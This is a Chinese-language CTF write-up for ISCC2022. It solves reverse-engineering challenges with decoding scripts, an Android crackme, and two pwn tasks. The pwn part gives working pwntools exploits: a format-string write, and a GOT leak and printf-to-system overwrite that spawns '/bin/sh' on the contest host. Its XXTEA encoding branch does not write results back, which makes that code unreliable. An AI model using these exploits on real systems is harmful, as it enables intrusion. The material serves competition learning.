文章26
标签0
分类4

ISCC2022-wp

ISCC部分re-wp

GetTheTable

1.png

64位程序,直接上IDA,可以观察到这是一个base58算法

2.png

很显然,密文就是ERaQux2sG1yhTracrk1ZrZ6qnc,解一下得flag

3.png

ISCC{gkKIldCtq2xqZ}

Amy's Code

2.1.png

32位程序,拿ida打开观察main函数

2.2.png

把输入的v4给v3传进sub_4115FF(),
跟进去看到:

2.3.png

输入的每一个值都按位异或,之后在传进sub_411433()

2.4.png

显然,v29数组和v6数组是已知的,a1是我们输入的,根据这些信息写下脚本:

str1 = [149,169,137,134,212,188,177,184,177,197,192,179,153,160,158,143,141,155,192,184]
str2 = [76,87,72,70,85,69,78,71,68,74,71,69,70,72,89,68,72,73,71,74]
code = []
flag =''
str_len = len(str2)
for i in range(str_len):
    code.append(str1[i]-str2[i])
print(code)
for i in range(str_len):
    flag += chr(code[i] ^ i)
print(flag)

ISCC{reverse_UKDUCk}

How_decode

3.2.png

观察主函数

3.1.png

有一个K数组暂且不知道干嘛的,下面进入encode

3.3.png

在20行看到了sum -=0x61c88648,很明显是tea加密的特征
下面经过观察算法,得知为xxtea加密,秘钥就是k数组的4位。密文是main函数前面的一长串

3.4.png

解密算法

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[e^p&3] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4])
{
    int y, z, sum, t;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
            {
                y = v[p + 1];
                t = v[p];
                t += MX;
                z = t;

            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}


int main()
{
    uint32_t v[] = { 0x583A2755,0x15F437DE,
0xEB4BF8AF,0xD9F98EF2,
0x42CCAB39,0x7A857094,
0x912E821D,0xCD3148B7,
0x743BC712,0x487532A5,
0x5A630997,0x80576CDB,
0x11783A4D,0x73D2C70E,
0xD6EE81AC,0xDAFA0F09,
0xAC79A9EC,0x91F4B9B7 };
    uint32_t const k[4] = { 73,83,67,67 };
    int n = 18; //n的绝对值表示v的长度,取正表示加密,取负表示解密

    //btea(v, n, k);
    btea(v, -n, k);
    for (int i = 0; i < 18; i++) {
        printf("%x ", v[i]);
    }
    return 0;
}

运行的结果为16进制,转为字符串就是flag
ISCC{a1cGfZD4p5rP}

Sad Code

4.1.png

看main函数

4.2.png

前面的代码动调,流程大概是输入的字符串转化成16进制在转为10进制,进入后面进行一个四元一次方程组的计算
这里的四元一次方程组可以使用z3来解决

因为IDA的问题,变量名可能不太一样

两个方程组:

from z3 import*

v17 = Int('v17')
v16 = Int('v16')
v15 = Int('v15')
v18 = Int('v18')

s = Solver()

s.add(v17+(7*v16)-(4*v15)-(2*v18) == 7934833795)
s.add((5 * v18) + (3 * v17) - v16 - (2 * v15) == 6303626098)
s.add((2 * v16) + (8 * v18) + (10 * v15) - (5 * v17) == 21725874420)
s.add((7 * v15) + (15 * v16) - (3 * v18) - (2 * v17) == 32903420509)

print s.check()
print s.model()

v19 = Int('v19')
v22 = Int('v22')
v20 = Int('v20')
v21 = Int('v21')

s2 = Solver()

s2.add((15 * v19) + (35 * v22) - v20 - v21 == 72986545747)
s2.add((38 * v21) + v19 + v22 - (24 * v20) == 14884748547)
s2.add((38 * v20) + (32 * v19) - v21 - v22 == 96452248205)
s2.add(v19 + (41 * v21) - v20 - (25 * v22) == 9965822295)

print s2.check()
print s2.model()

结果为:

sat
[v15 = 1230193475,
 v18 = 1429034567,
 v17 = 1229343560,
 v16 = 2069190467]
sat
[v19 = 1498366802,
 v22 = 1514886781,
 v20 = 1346907460,
 v21 = 1163086158]

按照16进制来排列,转为字符串
ISCC{UWCIFKHU-VGYOCRPH-DESINZKV}

Bob's Code

5.1.png

主函数:

5.2.png

sub_4116C7这个函数跟进去显然是一个base64加密

5.3.png

sub_411389跟进去也是一个base64加密,但是进行了换表

5.5.png
下面两个函数
则是对字符串进行加点

5.6.png

5.7.png

最后的sub_4116E0就是对字符串进行位移变换

5.8.png

这里使用爆破:

#include<iostream>
using namespace std;
void one();
void test();
int main(){
    one();
    return 0;
}
void one() {
    char Str[100];
    int a[100];
    char a1[] = ".W1BqthGbfGvLc3IaAWByo.W15oXRKXiUyXXBYe01VoVlKX2zWVNJUuilkoF0.";
    int a2 = 2;
    int len = strlen(a1);
    for (int i = 0; i < len; i++) {
        for (int j = 0; j < 128; j++) {
            a[i] = j;
            if (a[i] < 65 || a[i] > 90)
            {
                if (a[i] >= 97 && a[i] <= 122) {
                    a[i] = (a[i] + a2 - 97) % 26 + 97;
                }
            }
            else
            {
                a[i] = (a[i] + a2 - 65) % 26 + 65;
            }
            if ((char)a[i] == a1[i]) {
                Str[i] = j;
            }
        }
    }
    for (int num = 0; num < len; num++) {
        cout << Str[num];
    }
    cout << endl;
}

得到的密文去点进行换表base64解密,在进行base64解密

import base64
import string
str1 = "U1ZorfEzdEtJa3GyYUZwmU15mVPIVgSwVVZWc01TmTjIV2xUTLHSsgjimD0===="
string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

flag1 = base64.b64decode(str1.translate(str.maketrans(string1,string2)))
flag = base64.b64decode(flag1)
print(flag)

ISCC{JrLvhZu3-Ym94QUl1-vmiS5yGl}

ISCC部分mobile-wp

MobileA

6.1.png

首先看主逻辑

6.2.png

我们输入的字符串从第五位到"_"这一部分传入到Jlast,在Jlast里面进行md5+base64,然后进行打乱顺序

6.3.png

从"_"到倒数第二位全部进行AES加密再进行base64加密,key为加密之后的"K@e2022%%y",iv为加密之后的"I&V2022*",得到"STk0OU11bnZiWCtvZGtpSUswK3Q2aHZxd2x2bTlIYkRjTFV4OWhZdEowbz0="

第一步进行逆向运算:

#include<iostream>
using namespace std;

int main() {
    int i = 0;
    bool z = false;
    char a[] = "=IkMBb+=gF2/Try5PCUruw1j";
    char b[100];
    for (int i2 = 5; i2 >= 0; i2--) {
        if (!z) {
            for (int i3 = 3; i3 >= 0; i3--) {
                b[(i3 * 6) + i2] = a[i];
                i++;
            }
            z = true;
        }
        else {
            for (int i4 = 0; i4 <= 3; i4++) {
                b[(i4 * 6) + i2] = a[i];
                i++;
            }
            z = false;
        }
    }
    for (int num = 0; num < 24; num++) {
        cout << b[num];
    }
    cout << endl;
    system("pause");
    return 0;
}

得到:f6O3Z8RgtUor5NSQMLNJxw==
在进行base64,md5解密

6.4.png

6.5.png

得到第一部分:"no"
第二部分:

6.6.png

ISCC{safsaf_safashkjhuiyutu7_no}

ISCC部分pwn-wp

create_id

8.1.png

比较简单直接看:

8.2.png

8.3.png

格式化字符串漏洞改写x为9就可以cat flag.txt,而我们的格式化字符串位置在第10位。

from pwn import*

p = remote("123.57.69.203",5310)
#p = process("./create_id")
x_addr = int(p.recv()[0:10],16)

print(x_addr)
payload = p32(x_addr)+b"aaaaa"+b"%10$n"

p.sendline(payload)
p.interactive()

8.5.png

ISCC{9938-dc12-4510-8803-86d3}

sim_treasure

7.1.png

首先就可以看到15行存在格式化字符串漏洞

7.2.png

并且程序没有开启RELRO保护,那么就可以通过格式化字符串漏洞泄露puts实际地址得到system地址,修改printf的GOT表为system来使printf执行system()。

from pwn import*

p = remote("123.57.69.203",7010)
#p = process("./sp1")
#context(log_level="debug")
elf = ELF("./sp1")
libc = ELF("./libc-2.27.so")
puts_got = elf.got['puts']
p.recvuntil("Can you find the magic word?\n")
printf_got =elf.got['printf']

payload1 = p32(puts_got)+b'%6$s'
p.sendline(payload1)
p.recv(4)
puts_addr = u32(p.recv(4))
    
base_addr = puts_addr - libc.symbols["puts"]
sys_addr = base_addr + libc.symbols["system"]
p.sendline('a')

payload = fmtstr_payload(6,{printf_got:sys_addr})
p.recvuntil('a\n')

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

7.4.png

ISCC{cb42-ea5d-492a-b737-9f38}

0 评论

">